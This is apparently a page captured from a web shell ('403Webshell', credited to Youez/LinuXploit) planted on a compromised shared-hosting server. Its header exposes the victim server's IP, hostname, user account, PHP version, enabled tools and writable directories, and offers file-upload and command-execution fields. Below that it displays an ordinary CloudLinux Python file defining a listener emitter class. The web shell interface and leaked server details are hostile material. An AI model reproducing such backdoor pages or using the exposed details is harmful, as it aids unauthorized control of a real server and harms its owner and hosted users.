403Webshell
Server IP : 66.29.132.122  /  Your IP : 3.144.97.187
Web Server : LiteSpeed
System : Linux business142.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : admazpex ( 531)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/self/root/proc/self/root/proc/thread-self/root/proc/thread-self/root/opt/cloudlinux/venv/lib/python3.11/site-packages/lvestats/plugins/generic/burster/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/proc/self/root/proc/thread-self/root/proc/thread-self/root/opt/cloudlinux/venv/lib/python3.11/site-packages/lvestats/plugins/generic/burster/notify.py
# coding=utf-8
#
# Copyright © Cloud Linux GmbH & Cloud Linux Software, Inc 2010-2023 All Rights Reserved
#
# Licensed under CLOUD LINUX LICENSE AGREEMENT
# http://cloudlinux.com/docs/LICENSE.TXT
from typing import Callable, Protocol


class Signal(Protocol):
    def register(self, listener: Callable) -> Callable:
        ...

    # def unregister(self, listener: Callable) -> Callable:
    #     ...


class Emitter(Signal):
    # NOTE(vlebedev): registering a listener will keep it alive (i.e. not being garbage collected)
    #                 until it's explicitly unregistered.

    def __init__(self):
        self._listeners = set()

    def register(self, listener: Callable):
        if not callable(listener):
            raise ValueError("Listener must be callable")
        self._listeners.add(listener)
        return listener

    # TODO(vlebedev): Might be problems with references to e.g. class methods.
    #                 It's not that obvious how to handle them properly as they are transient/ephemeral.
    #                 For more info have a look at https://docs.python.org/3/library/weakref.html#weakref.WeakMethod
    # def unregister(self, listener: Callable):
    #     self._listeners.discard(listener)
    #     return listener

    def __call__(self, *args, **kwargs) -> None:
        exceptions = []
        for listener in tuple(self._listeners):
            if listener is None:
                continue
            try:
                listener(*args, **kwargs)
            except Exception as e:
                exceptions.append(e)
        
        if exceptions:
            raise ExceptionGroup("Exceptions occurred in listeners", exceptions)

Youez - 2016 - github.com/yon3zu
LinuXploit